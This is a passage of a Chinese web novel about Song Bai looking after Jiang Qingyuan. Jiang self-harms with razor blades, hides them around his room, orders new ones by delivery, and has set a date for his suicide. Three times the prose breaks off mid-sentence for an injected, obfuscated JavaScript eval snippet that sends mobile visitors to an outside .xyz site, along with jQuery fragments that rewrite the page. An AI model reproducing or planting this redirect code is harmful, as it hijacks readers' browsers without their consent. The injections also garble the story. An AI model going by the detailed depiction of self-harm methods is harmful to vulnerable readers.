他从张主任手里接过江清圆的手,在手心里攥了攥,只觉得空荡荡握的一大半都是空气,攥得紧了,手腕上格外突起的那块骨头又搁得他掌心发疼:“比如说他小时候受了严重的精神创伤,引发了发烧后,没有得到好的照顾,那么接下来面对每一次精神创伤时,会习惯性发烧吗?”
张主任认真想了想:“按理说是有这个可能的,我怀疑发烧是一种应激反应,但更多的就需要去精神科或者心理科看心理医生了,我毕竟不是这个方向的。”
她听出了宋柏话外的意思:“他平时发烧多吗?”
宋柏这次很快点了点头。
“那如果是这样,真要去看看心理医生了,”张主任有些不忍地看了一眼床上的江清圆,“顺便查查有没有抑郁症吧。”
宋柏握着江清圆手腕的手又紧了些。
“你是他朋友?”张主任问,“他爸爸妈妈呢?”
这种情况,爸爸妈妈肯定要知道的。
掌心里的手腕安静地任他握着,宋柏低声道:“他在家里过得苦。”
张主任听见这话,一下就懂了,良久,她沉沉地吐出一口气,无力地摆了摆手:“伤我都处理好了,医院还有事,我就先回去了。”
她能怎么说,说这世界上有些人根本不配做父母?但面对无数个不被爱的孩子,这话显得多么无力啊。
张主任走之前,留够了药和置换的纱布。
宋柏送走她后,重新回到江清圆床边,儿童的高低床比平常的床矮很多,宋柏坐到床边地上,依旧能低头俯视躺在床上的江清圆。
他手伸到被子下,轻轻握上江清圆受伤的手,在被子里捂了那么久,掌心里的手还是一如往常的冰凉。宋柏不由得拿手指在他手背上搓了搓,看着他紧闭的眼睛,想说些什么,视线一扫,话僵在了嘴里。
他看见江清圆头上,高低床上铺的床板底下,也贴满了符箓。
江清圆每天在床上一睁眼,就能看见。
宋柏闭了闭眼,良久,才睁开眼再次仔细环顾起整个卧室。
才发现除了地板和家具上,其他他能看见的地方,都贴满了这玩意儿。
家具也不多,除了床,整间屋子里就一套桌椅,和一个衣柜,以及衣柜角的一个脏衣篓。
衣柜上并没有像其他人房间一样堆着储存东西的箱子,光秃秃的,昭示着江清圆所有的东西,一个小小的柜子就能塞下。
书桌上也很干净,宋柏起身看过去,只有一个笔记本电脑,一个本子一支笔,和一本日历。
再朝下面看去,宋柏不由得笑了,书桌唯一的抽屉紧紧闭着,上面挂着一把锁,很古早的,像是只会出现在年代片里的,一个小小的铜锁。
宋柏走到书桌前,抬手拿起日历,很普通的白底黑字日历,一月一页,正安时节停在八月份这一页,8月27号被一个端端正正的圆圈起来,上面写了两个小字:交稿。
宋柏又往后翻,九月十月都没事,十一月中旬也有个交稿日,翻到十二月那页时,宋柏的手顿住了,12月14日那天也被江清圆画了个圈,上面同样有两个字:尾款。
14号后的15号,江清圆也用笔圈了一下,却什么都没批注。
但宋柏却知道他这天要干什么。
江清圆微博上,12月15号,正是他给自己安排的死亡日期。
啪的一下,日历被宋柏重新翻回八月,好像这样就能让江清圆离12月15号远一些一样。
宋柏将日历往桌子上放回去,视线再次扫到桌面时,手里的动作顿住。
刚刚日历压着的桌面上,静静躺着两个小小的刀片。
和那夜深山里从江清圆口袋里掉出来的一模一样。
捏着这两枚刀片,宋柏将江清圆卧室除了被锁着的抽屉外,仔仔细细搜了一圈。
搜完还不放心,出了江清圆的屋子,开始巡视整个二楼。
二楼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074093|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比一楼空荡很多,除了江清圆卧室外,还有两个卧室和一间书房,但都荒芜得和江清圆衣柜顶一样。
穿过窗帘被紧紧拉住的客厅,宋柏最终来到了二楼唯一的厨房。
小厨房是江清圆平时做饭吃饭的地方,总归比其他没人住的房间多了点生气。
但也就一点。
宋柏吃过江清圆做的饭,在兰盛梅和兰澈来的时候,谁吃过江清圆的饭,都不会说他厨艺不好。
能做出那样好吃到让人感觉到幸福的饭菜的人,他的厨房里,宋柏只看到了一包包挂面。
最便宜最普通的那种,堆积在厨房台面的一角,旁边是一个透明的储存盒,里面储存着还没吃完的半包。
宋柏打开旁边的小冰箱,干净得像新冰箱,只有冰箱门堆积着几个鸡蛋。
整个二楼逛下来没有五分钟,宋柏已经能想象出江清圆的一天。
早晨起来在满是符箓的房间里写剧本,写到中午来厨房抽一把挂面,下进锅里,有时可能会放一个鸡蛋?
但也就这样了。
吃完再回到那个房间里,一直到晚上,蜷缩在小小的床上睡过一天又一天。
宋柏站在那里,望着二楼唯一没有被拉上窗帘的厨房窗户,煞白的光源将他的影子拉得很长很长。
安静的影子下,宋柏拼尽所有力气,压抑着内心汹涌的,想马上抱着江清圆离开这个地方,远走高飞,将他藏在一个四季如春,阳光明媚的远方的想法。
江清圆对这些浑然不知,他刚睁开眼,盯着头顶的符箓好一会儿,才有断断续续的回忆回到脑子里来。
纵然这些年的难堪已经足够多,但今天发生的事情还是太过了。
巨大的羞耻姗姗来迟,却瞬间吞噬了江清圆,他慢慢将自己蜷缩起来,头鸵鸟一样埋进自己臂弯里。想死的想法第无数次涌现出来,江清圆调动起所有的理智,一遍遍告诉自己还不到时间,艰难地将它压制下去。
可心里还是止不住地难受,难受得江清圆想吐,难受得他右边的小腿又开始发痒,难受得江清圆熟练地去摸枕头下面。
摸了一个空。
他又摸了摸,依旧什么都没摸到。
江清圆不可置信地坐起身,将枕头拿起来。
空空如也。
这里一直有一把啊,江清圆疑惑地瞪大眼睛。
腿上越来越痒,江清圆顾不得细想枕头下面的刀片去哪里了,他翻身下床,跌跌撞撞地朝书桌走去。
几乎是迫不及待地拨开日历,江清圆再次不敢相信地眨了眨眼,也没有刀片。
失血过多的头晕让他眼前一阵阵发黑,但他什么都顾不得了。
裤子口袋里,他总是在裤子口袋里放一个以防备用。
江清圆朝脏衣篓跑去,跑了两步才想起来,从山上下来第二天洗裤子的时候,那刀片都不见了。
江清圆一时僵在那里,一股子巨大的委屈涌上心头,他惶惶然地像个孩子,找不到刀片,如同失去了最爱的糖果,一下子不知道该怎么办了。
还是腿上钻心的痒提醒了他。
对,可以叫外卖。
江清圆高兴了起来,他甚至欢快地原地转了一圈,在眼前一阵阵黑意的清明夹缝中,开始寻找自己的手机。
视线扫到门口的那一瞬,江清圆僵在了原地。
宋柏静静站在门口,目光沉沉,已经不知道看了他多长时间。
见他看见自己,宋柏举起手里小小的东西,黑压压的眸从他赤//裸的脚扫到他苍白激动的眼尾,轻声问:
“是在找这个吗?”
20. 20
看到宋柏的那一瞬,江清圆颤抖了一下。
全部回忆终于完整回到他脑子里——宋柏出现、宋柏抱起他、宋柏低下头……
江清圆没有料到羞耻还能和珠穆朗玛峰比肩,他后退一步,下意识想将自己藏回床上,再次变成一只一厢情愿的鸵鸟。
但宋柏手里举着的东西对他太有吸引力了。
江清圆喉咙滚动了一下,嘴里干涸得厉害,他痴痴望着宋柏举着的手,那指尖里夹着的,是他救命的水。
后退的脚步止住,江清圆慢吞吞地朝宋柏走过去。
屋子不大,江清圆七八步就到了宋柏跟前。他什么话都没说,伸手就去够宋柏手里的刀片。
没够着。
江清圆仰头看着宋柏高高举起的手,小腿连上喉咙,痒了大半个身子,他有些着急地道:“给我。”
宋柏举着的手一动不动。两个人挨得太近,他需要低下头,目光才能一寸寸扫过江清圆柔软漆黑的发,渗着冷汗的鼻梁,紧紧抿着的唇,和仰着的绷直的颈。
这些组成了一张苍白的,颤抖的脸,唯有一双花瓣似的眼睛在燃烧,里面是令他心惊的汹涌渴望。
“给我。”
第二声了。
宋柏的手依旧不可及地举着。
江清圆微微提高了声线,但听起来依旧很小声:“给我!”
他边要求,盯着刀片的眼睛边去觑宋柏脸色,看见了一张面无表情的,不近人情的脸。
和小酒馆的初见一样,却比那时候锋利吓人得多。
江清圆心里的最后一点侥幸也被宋柏的脸色浇灭了,他彻底明白宋柏不会好心还给他刀片,一时心头又生气又着急,踮起脚尖就要自己去够。
可宋柏比他高那么多,江清圆有些绝望地仰着头,他踮起脚尖拼命伸直手臂,指尖也只能扒到宋柏小臂,连手腕都够不到。
江清圆丝毫没有察觉自己已经完全贴到宋柏身上了,只像小兽一样仰着脖子,焦灼又彷徨。喉咙里的痒已经窜到脑子里,江清圆一咬牙,左手抓着宋柏的衣领,忍着痛举起刚被接好的右只手,借力蹦了起来。
下一秒,天旋地转。
江清圆只感觉脑壳仿佛又在床脚磕了一下,眼前彻底黑掉,腿一软,整个人往地上跌去。
没有落到冰冷的地板上。腰上多了条手臂,宋柏比江清圆更快一步,跪下来接住了他。
江清圆蜷缩在宋柏怀里,手捂着脑袋,来不及等脑袋里拉锯的痛过去,已经迫不及待地睁着眼睛,找起了刀片。
看到刀片还被宋柏无情地举着,江清圆几乎要哭出来,硬的不行,他放软声音看向宋柏:“求求你了。”
怀里人一双眼睛都已经被汗水浸透了,长长的眼睫尖都沾着湿润,视线还没恢复聚焦,就茫茫然乞求地望向自己。
宋柏简直就要维持不住装出来的冷硬。
“为什么要刀片?”
这句话宋柏自己都没察觉地放柔了声音,却又那么残酷。
他用一种明知故问的方式,要江清圆把心底最隐秘的一块说出来给他听。
江清圆愣了一下,怔怔地看了宋柏好久,终究是内心的渴望战胜了不堪,他近乎崩溃地开口:“难受,我难受,你满意了吗?”
内心的难受要杀死他,宋柏的注视又带来新的凌迟,这些不转移到肉/体上,江清圆简直活不到下一分钟。
他说完越发觉得丢脸,不敢再看宋柏的眼睛,只是再次举起手。
窗帘紧闭的昏沉房间里,一时无声,只有门口两道交叠的身影微微晃动。
其中一只肤色较深的手高高举着,它的掌根处,紧紧贴着一截比它细很多的莹白手腕,上面交错着青紫的手印,但还是倔强地伸着苍白的指尖,一下下去够它指尖里捏着的刀片。
江清圆执拗地仰着头,不愿意再多给宋柏说一句话。汗流进他眼睛,刺得生疼,江清圆眨也不眨,专心致志地ke''qiu着宋柏手里的刀片。
宋柏低头看着他绷着的脸,哪怕自己另一只手臂此时就放在他腰上,能轻松将这截清瘦柔软的,没什么力气的腰按下去,彻底掐灭江清圆拿到刀片的希望,但他还是像被打动了似的,微微叹了一口气,放低了高举的手。
江清圆终于拿到了刀片,他来不及思考宋柏为什么松了手,也来不及去挽起裤脚,甚至来不及从宋柏怀里出去。
江清圆喘着气,刀片对准自己手臂,狠狠地划了下去。
熟悉的痛感并没有来临。
江清圆愣愣地望着视线里正在往外涌血的手背,好一会儿,才感受到自己的手臂正在被宋柏握着。宋柏的掌心永远都是温暖的,哪怕此时流着血,自己冰凉的手臂还是一点点在他的掌心里慢慢在变热。
捏着沾血的刀片,江清圆呆呆地抬起头,看见了宋柏因疼痛不由自主皱起的眉头。
刚才那样都没有哭的他,下一秒,眼泪就似断线的珠子,比宋柏手背上的血还要汹涌地从眼角涌了出来。
宋柏见他恢复了理智,另一只手臂微微一用力,将他软掉的身子嵌进了怀里。
哄小孩似的,宋柏好着的手一下下顺着江清圆颤抖的背,开口,不是什么安慰的话,只是很平常的一句:“早上去学校前给你留了早饭,刚刚看你没有动,现在饿不饿?”
屋子暗暗沉沉,窗帘遮去了所有的光,怀里的人陷在这日夜不分的一天天里,惊惶不安。他总要先带着他把日子过下去,才能让他看见,一定会好的。
他一定会让他好起来的。
江清圆一直等坐到一楼饭桌上,眼睛还在一直瞥宋柏的手背。
一声轻响,宋柏将一粒退烧药,和一杯热好的牛奶以及夹着溏心蛋的三明治放到了他眼前,视线里手背被无限放大,中间横着一截雪白的纱布,表面已经被血渗透。
是他刚刚割的。
江清圆良心余震来袭,他小小声道:“我给你涨工资。”
宋柏没说话,坐到了他对面。他的手全程没有移开,那渗血的纱布一直横在江清圆视线正中间。
坐下后,宋柏抬眼,江清圆眼眶还红着,他视线里,一张巴掌大的脸上,也就眼尾还有点颜色了,可怜得厉害。
正怯怯望着他的手背。
宋柏指尖动了动,就见江清圆眼睫颤了颤。
“如果要赔偿的话,是不是要问问受害人想要什么?”宋柏缓缓开口。
江清圆的目光看过来,认同地点了点头。
“我不要钱。”宋柏说。
江清圆不可思议地睁大眼,重复了一遍:“你不要钱?”
谁会不要钱啊?
“那你要什么?”
“我要想想,”宋柏做出思考的姿态,将装着三明治的盘子又往江清圆眼前推了推,“你先吃饭。”
那当然是要好好想想的,江清圆理解地想着。
他在沉默中吃完了自己的早午饭,因为愧疚,连一满杯500毫升的牛奶都一滴不剩地喝完了,以前他可是向来不碰这玩意的。
但奇异的是,一大杯温热的牛奶下肚,像有冲刷的力量,江清圆心里的堵塞竟消散了许多。
揉着有些撑的肚子,江清圆盯着玻璃杯,认真思考宋柏是不是在牛奶里面下药了。
但马上就来不及想这些有的没的了。
看见宋柏举着碘伏和纱布朝自己走来,江清圆心头警铃大作,下意识站起身,就想逃。
但一看,宋柏就是从二楼下来的,合同里的条款看样子他根本没当回事,自己往哪逃?
江清圆一时愣愣地站在那里。
“过来。”宋柏也没有给他逃的机会,他将碘伏和纱布放到茶几上,拍了拍旁边的沙发。
江清圆固执地没动,但在宋柏的目光里没坚持多久。他干巴巴地道:“我还要工作。”
宋柏什么话都没说,只朝他招了招手,手背上渗血的纱布在江清圆视线正中央清晰明亮地晃呀晃。
江清圆还有什么良心去工作?
坐到沙发上的那一刻,江清圆心里还存着最后一丝侥幸,不动声色地将右腿往左腿后面藏了藏。
然后下一秒,蹲下去的宋柏就握住了他右脚脚腕。
江清圆纵然有了心理预期,但还是像被抓住尾巴的猫,当即不受控制地炸了毛,抽着脚就要往沙发里缩。
手里的脚腕没有比它主人的手腕粗多少,宋柏稍一用力,就能让它也动弹不得,但他还是任手被江清圆的脚腕带着走了走。
然后微微抬起眼,声音平静:“你可以挣扎,我接下来会用右手阻止你,它上面的伤口可能就会被你蹬得更严重。”
江清圆的脚腕不敢动了。
宋柏一条腿跪在地下,拉着江清圆不再挣扎的脚腕,放到了自己大腿上。
江清圆下来前受不了身上沾血的衣服和出的汗,冲了个澡后换成了睡衣。宋柏低着头,认真卷起他绵软的睡衣裤脚,慢慢露出了还沾着湿意的,伤痕累累的小腿。
第二次看见这伤口,比第一次更触目惊心。
他视线里,江清圆那些还没愈合的伤口因为碰了水,有些边缘已经发白。不同于深夜,白日亮堂堂的客厅里,那些发白皮肉卷曲绽开的每一个弧度,宋柏都看得一清二楚。
宋柏呼吸滞了一下,几乎不忍细看,因为只要细看,就会看见这些没愈合的伤口下,更多密密麻麻,经年累月的伤痕。
每一道的样子,都比自己手背上的要重。
宋柏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074094|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
握着江清圆脚腕的手不由自主地收紧,他掌心里脚腕又开始挣扎起来,这回宋柏没有放它离开,他牢固而又珍重地,将江清圆脚掌摁在自己大腿上。
温声开口:“有打沐浴露吗?”
这是还在山里时,江清圆给他上药前问他的话。
“没有。”江清圆盯着自己的腿,割的时候没有觉得,现在被摊开在日光下和宋柏视线里,他才发现这些这条小腿是如此……丑陋。
江清圆后背紧紧贴向沙发背,将自己往沙发角落里缩,好像这样就能和自己这条腿切割。
“骗人。”宋柏闻着从他腿上传来的,不同于他身上那股子的沐浴露香味,也轻声回了两个字。
顿了顿,又问:“疼么?”
江清圆挣扎的力度停了一瞬。
“你是什么时候发现的,山上吗?”江清圆没有回答他的话。
碘伏沾上伤口,针扎的痛传来,让江清圆忍不住嘶了一声。
“你划得太深了,会比一般伤口痛,”宋柏拇指立刻安抚地摩挲了两下掌心里细腻的皮肤,俯下身朝抹了碘伏的地方轻轻吹了吹,声音近乎温柔,是哄人的语气,“我再轻点。”
他分明没有继续追问下去,但江清圆却觉得有一股比刀和疼痛更强大的力量朝自己裹来。这让他招架不住。
江清圆抬起手,狠狠地摁了摁额角的伤口,熟悉的疼痛传来,却依旧没有阻挡住那股力量带来的无措。
心脏再次开始酸胀,沙发角已经保护不了他。只有逃离宋柏,才能逃离这种感觉。
江清圆更用力地挣扎起来:“我不上药了。”
挣扎不动。
发白的伤口一点点被染上碘伏的颜色,脚腕被宋柏以一种不容拒绝的姿态握在手里,明晃晃地传达着他的意思:这个不可以。
江清圆第一次感受到他的强横。
他只能徒劳地加重语气:“我说我不上药了,你放开我!”
宋柏干脆利落地将旧棉签扔进垃圾桶里,换上新棉签,语气依旧平静:“晚上想吃什么?”
“小龙虾怎么样?正是吃小龙虾的季节。”
江清圆:“?”
他一时跟不上宋柏的脑回路,顿了顿,才继续道:“你很闲吗?你没其他事情干吗?”
伤口一直蔓延到膝盖下方,宋柏听着他毫无杀伤力的话,不再说话,认真垂着眸,小心翼翼处理着边缘的伤口。
“我还会划的呀,我这种人就是没救的,你给我上一次药,你能上一辈子吗?”
所有伤口都被抹上了碘伏,宋柏拿起纱布,开始从脚踝往上缠。
“你不是还有喜欢的人,你不去追他你抓着我在这里上药,你没事吧?”
不管他怎么骂都没反应的宋柏突然抬起了头,江清圆猛地撞入了一双黑漆漆的眸。
他一句话不说,只是拿一双眼睛静静看着他。
客厅里静得灰尘落地的声音都能听到,江清圆无法逃避地被这双眼睛注视着,在浩大绵长的寂静中,不明白,也不敢明白眼前这双眼睛里蓬勃欲出的东西是什么。
他畏惧地扭过了头。
掌心里的脚腕不再挣扎,宋柏低着头,轻柔地将纱布一圈圈绕到他膝盖处,最后在膝盖处系了一个笨拙的蝴蝶结。
“好了。”
江清圆没有转回去脸。
沉默了一秒后,江清圆感觉到眼尾落下了一个指尖。
悬在眼尾好久的一滴泪水被揩去,江清圆转过来脸去时,宋柏已经抱着医药箱离开。
手旁边的手机震动了一下,江清圆拿起来看,竟然是好久没有消息的柳青青发来的微信。
【小柳青青】从刚果盆地雨林安全出来,这次冒险圆满结束!没忘记给我的兰花浇水吧?
柳青青从成年以后就开始满世界乱跑,唯二放心不下的,除了将她写进合同里的发小江清圆,就是她养的兰花。
柳青青家就在隔壁,她回国是按年数的,那些兰花可以说是江清圆浇大的,他自然没有忘记,刚要回复,对面又一条消息传来。
【小柳青青】你应付你妈应付得怎么样?
江清圆知道她那边信号不好,长话短说,隐瞒了小腿上的伤后,将自己和宋柏这些天发生的事给她发了过去。
好一会儿,柳青青的回复好久才跋山涉海地传来。
没有长长的吐槽或嘱咐,只有一个很委婉的问号。
【小柳青青】你觉得他这人怎么样?
江清圆蜷缩在沙发里,小腿的伤口在纱布下微微发麻,长年来,第一次没有痛着。
他低垂着眼睫,很快地打好了回答,没有犹豫地摁下了发送键。
【元宝】我觉得他是个很好的人。
21. 21
柳青青坐在从雨林回城市的一辆小巴车上,怀里抱着一个巨大的登山包,满脑门的汗随老旧的小巴车摇摇晃晃。她来不及擦,只高高举着自己的手机,试图再接收点信号。
老天感受到了她的虔诚,一声震动,江清圆的新消息到达。
【元宝】我觉得他是个很好的人。
柳青青盯着看了好一会儿,发出一声长长的叹气。
完蛋,白菜要被拱了。
柳青青觉得脑门上汗更多了,她仰着脖子,像五岁那年看见江清圆蹲在她家门口哭那样,思考良久,霹雳吧啦地打下了一句反复斟酌后的话。
【小柳青青】他心思不纯。
打完狠狠按下发送键。
柳青青眼巴巴盯着没信号的小红圈在她这句消息前转啊转,最终定格为发送失败的感叹号,仰天长啊一声,从未有过如此强烈想回国的心。
江清圆看着对面正在输入中了许久,也没发来消息,知道她那边应该是没了信号,于是关了手机。
视线里已经很眼熟的长腿再次出现,江清圆仰头,看着返回站在沙发旁的宋柏,先声制人:“我要去工作了。”
说完也不等宋柏回答,几乎是从沙发上跳下来,往楼梯的方向跑去。
他的裤脚都没来得及放下来,随着他的步伐,膝盖下面,大大的蝴蝶结笨笨地一晃一晃。
宋柏看着,紧张之余,突然有些不好意思。他第一次给别人包扎,好像真的有点……丑。
“江清圆。”宋柏开口。
视线里蝴蝶结停了下来,江清圆站在楼梯口,转过身来看向他。
嘴上再不容拒绝,轻轻一喊就回头了。
宋柏走过去,眼睛里带了点笑意。他在江清圆身前站定,将一直背在身后的手拿出来,把手里的东西放到了江清圆掌心里。
“今天早上回来得急,幸好一早到了学校就先弄的这个。”紧张并没有消散,反而更深,让宋柏嘴巴罕见地有些不听使唤,后语不搭前言,“这里是开关键,按一下是开,长按是关。”
江清圆低头看了看手里的东西,银灰色的小机器人圆头圆脑地躺在他手心里,比贴子里看上去的更可爱。
他不由自主地呀了一声,下意识攥紧了这可爱的东西,随即又想起宋柏贴子里说这个要送人。
但再抬起头,宋柏已经在他的视线里又一回走远了。
江清圆站在楼梯边踌躇了好久,还是带着小机器人回了屋。
关上门,坐在床边,江清圆把小机器放到床上,摁下了宋柏说的开关键。
小机器人弯月般的线条眼睛亮了起来,伴随着的是一道声音:“你好呀,我叫咕噜!”
音色虽然机械,音调却欢快得让人喜欢,江清圆忍不住弯起了眼睛。
他的房间里好久没有这样高兴的声音了,江清圆手臂搭在床上,下巴枕在上面,将自己视线和咕噜的月牙眼睛齐平,伸出两根手指握了握它垂在肚子旁圆圆小小的,哆啦A梦似的小手,也轻声道:“你好呀,我叫江清圆。”
他没有想咕噜会回答,却不料咕噜的月牙眼睛更亮了,机械声更明快地道:“你好呀,圆宝!”
江清圆惊讶地啊了一声,耳朵就红了。
他小小声地夸赞:“咕噜好聪明。”
咕噜圆圆的脑袋摇了摇,透露出一股子得意的样子,继续道:“圆宝再按一下我!”
江清圆很听话地又按了一下开关键。
一阵熟悉的溪流声流淌了出来。
江清圆放在床上的指尖蜷缩了一下,静了很长时间后,伸出指尖碰了碰咕噜。像确认一个幻觉。
不是假的。
溪流声已经流遍了屋子的每一个角落,自然得仿佛已经在这里流经多年,没有什么让人窒息的符纸,江清圆现在推开窗户,就能看见童话里的草原。
这种感觉让人像埋进新鲜的青草里,整个人幸福成草原中新生的一根嫩芽。江清圆很难不贪心,他无师自通地,又按了一下开关键。
风吹过树叶的沙沙声响起,嫩芽懒洋洋地舒展着新叶,注视着一轮橙红明亮的太阳在草原尽头缓缓升起。
江清圆嘴角的笑容更大了些,加快了摁键的手。
没有响起下一道让人暖洋洋的声音,但咕噜的机械音也很可爱:“要把前面的时长听完,才能解锁下一个声音哦。”
江清圆歪了歪头,很好地接受了这个设定。他向来是个容易满足的人,不会遗憾没能听到的许多声音,只会高兴一下子拥有了小溪和树叶。
江清圆摸索着将声音调回小溪的声音,重新将自己埋在清凌凌的溪水里,不知不觉间,就闭上了眼睛。
等再睁开眼睛的时候,窗帘外面已经没有光了。
江清圆没听见声音,将醒未醒间,就去摸咕噜。
将小机器人拿到手里了,江清圆一看,它月牙眼睛里面只剩下一点点光了。
但感受到被拿起,它还是一如既往快乐地道:“你好呀,圆宝!”
只是声音已经微弱得要听不见了。
“对不起哦。”觉还没完全醒,江清圆下意识心疼地给咕噜道歉,道歉完才想起来现在最要紧的,应该是给它充电。
抱着咕噜在屋子里转了一圈,江清圆可悲地发现,自己所有的充电线,都不适配它的充电口。
咕噜的充电口是江清圆从来没有见过的形状,他猜测,应该是宋柏单独设计的。
那么想给咕噜充上电,就只有一个办法了。
下楼找宋柏。
江清圆又在屋子里转了好几圈,打开房门,没出去,探出个脑袋往楼下瞧了瞧。
开着灯的客厅里,是没有人的安静。
江清圆这才从门里掏出自己剩下的身子,抱着咕噜往楼下走去。
宋柏的房间门正对着楼梯口,江清圆站在那扇紧闭的门前足足有十分钟,才抬起手去敲门。
「咚」
第一下还没响完,门就被打开了。
宋柏低头看着江清圆,他端端正正地站着,手也端端正正地放在腰前,捧着个端端正正的咕噜。一双大眼睛一眨也不眨地看着自己。
宋柏视线扫了下咕噜,他还是第一次在它身上看见军姿的风范。
而他造出来的这个机器人,现在正被江清圆宝贝地护在手心里,好像这是他怀胎十月生出来的孩子,虽然这根本有违现代医院和人体构造。
江清圆还在脑子里组织着措辞,就听见宋柏问:“没电了?”
江清圆点了点头,脸颊上因枕着胳膊睡了一下午,还没消散的红痕也跟着同意地颠了颠。
宋柏又问:“喜欢它?”
江清圆又点了点头,终于开口:“你开个价吧。”
宋柏挑了挑眉。
江清圆见他不说话,又道:“我可以不计较你违背合同。”
“本来这个要罚钱的,”这句就很没有底气了,江清圆眼尾都心虚地往下垂了垂,但还是硬说了下去,“合同上有条款,你不信可以去查看。”
他真的很喜欢咕噜。
可他也记得宋柏帖子下面说,这个是要送人的。
他也不知道宋柏今天下午为什么要把这个给他,可能是看他可怜,借他玩两天?江清圆想着,可他想留咕噜多待一会儿,如果可以,能留它到12月15号就更好了。
12月15号后,他一定把咕噜还给宋柏。
对面宋柏依旧沉默。
江清圆一咬牙,继续加码:“我还可以给你发奖金,你想要多少?”
他心里乞求宋柏少要点,最起码能让他的稿酬下来后,给他发完奖金,还能如约在12月15号还上欠的钱。
宋柏目光轻飘飘落在江清圆脸颊的红痕上,克制住自己想要去捏一捏的手指,很有耐心地又说了一遍:“我不要钱。”
江清圆还是和中午一样震惊:“那你要什么?”
他这样子太乖了,控制住手指,却实在没能控制住逗逗江清圆的心思,宋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074095|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柏声音里带着不可察觉的笑意:“嗯,你好好想想。”
说完,就看见江清圆如他盼望的,皱起眉头站在那里开始认真思考。
手指更痒了。
宋柏视线略过他额头上的纱布,没有舍得他动脑太久,开口暗示他:“我还没吃晚饭。”
江清圆听见他这句话,端着咕噜,安静得足足像过了一个世纪,才小声地邀请:“那你愿意和我一起吃晚饭吗?”
“小龙虾怎么样?”
宋柏就笑了,他没有一秒犹豫:“当然愿意。”
江清圆看着咕噜被宋柏拿进屋充电,如愿在第二天接回来了一个充满电,又恢复快乐的咕噜。
“它的电池只能维持一天,”宋柏将咕噜递给他,问,“今天中午想吃什么?”
江清圆终于明白了宋柏想要什么了。
他握着咕噜,眼神瞄着宋柏还包扎着纱布的手,任人拿捏地道:“你决定吧。”
“米饭、青椒肉丝和凉拌茼蒿,还有绿豆汤吧,”宋柏早有准备似的报出一串菜名,“饭后水果吃西瓜和樱桃怎么样?”
江清圆就这么过上了和宋柏一起吃饭,来换取咕噜使用权的日子。
为了能每天接回咕噜,江清圆甚至忍耐下了像是有蚂蚁在爬的小腿。
宋柏的一次包扎解决不了什么,江清圆深夜还是常常睡不着,他望着上铺的床底,依旧能清晰地记得哥哥翻身的声音。
每每这个时候,江清圆整个人就会难受想吐得蜷缩成一团。
以往这样时,只有刀片划开皮肉的疼痛能让他从心脏要爆炸的窒息中得到喘息。
是不能像别人一样割手臂的,那样谁都知道他在自残,多难看,江清圆理所当然将刀片对准了自己的腿。
但还是被宋柏发现了。
江清圆将自己完全埋进被子里,嘴咬着手指捱着,祈祷小腿蚀骨的痒快点过去。
不能再被宋柏发现自己还在自残了,那样事情会再度失控。
江清圆没有什么依据,却下意识地觉得,若是让宋柏再发现他自残,一定会有比今天更严重的事情发生。
他想着宋柏手背上的划痕,江清圆觉得自己至少要让这条腿先好一下。
江清圆就这么熬了五天,头一回过得如此规律——每天清晨七点钟下楼将咕噜接回来,由咕噜陪着写一上午剧本后,在十二点准时出现在一楼餐桌上。
餐桌上每天的午饭,是唯一不规律的事物。
南瓜玉米、牛肉鲢鱼、还有各种凉拌应季蔬菜,江清圆第一次见识到原来夏天能长出这么多应季菜。
更别说各种水果了。
日子渐渐被煮出了些食物的香气,这让风都温暖起来,吹过江清圆满屋的符纸时,符纸响起的声音,第一次趋同于寺庙经幡。
五天后的夜晚,江清圆耳边没再响起哥哥翻身的声音,这让他在凌晨三点前得以入眠。
第六天江清圆早早醒来,洗漱过后飞奔下楼,准时敲响宋柏的房门。
没有人开。
江清圆看向空荡荡的客厅,被提前放在餐桌上的咕噜宣告着宋柏现在不在小别墅。
江清圆走过去拿起咕噜,却没有立刻上楼。
宋柏一不在,他刚压制住的冲动,立刻又反扑了回来。
等江清圆反应过来的时候,他已经在外卖软件点好了一盒新的刀片。
盯着手机页面,意识到自己干了什么后,江清圆怔怔地站在那里,心里不知道是期盼还是茫然。
他手指在软件的配送页面徘徊良久,到底没有取消订单。
半个小时后,刀片准时送到了小别墅门口。
江清圆鬼魂似地飘到门口,从外卖员手里接过装着刀片的纸袋,又要鬼魂似地飘回去,却在视线扫到一处时,停了下来。
别墅外的小道尽头,宋柏正朝小别墅走来。
他身旁,跟着一个飘飘然的人。
江清圆当然认得。
吕驾鹤。
22. 22
“您请。”
吕驾鹤跟着娃娃脸的助理进了一间宽敞明亮的会议室。
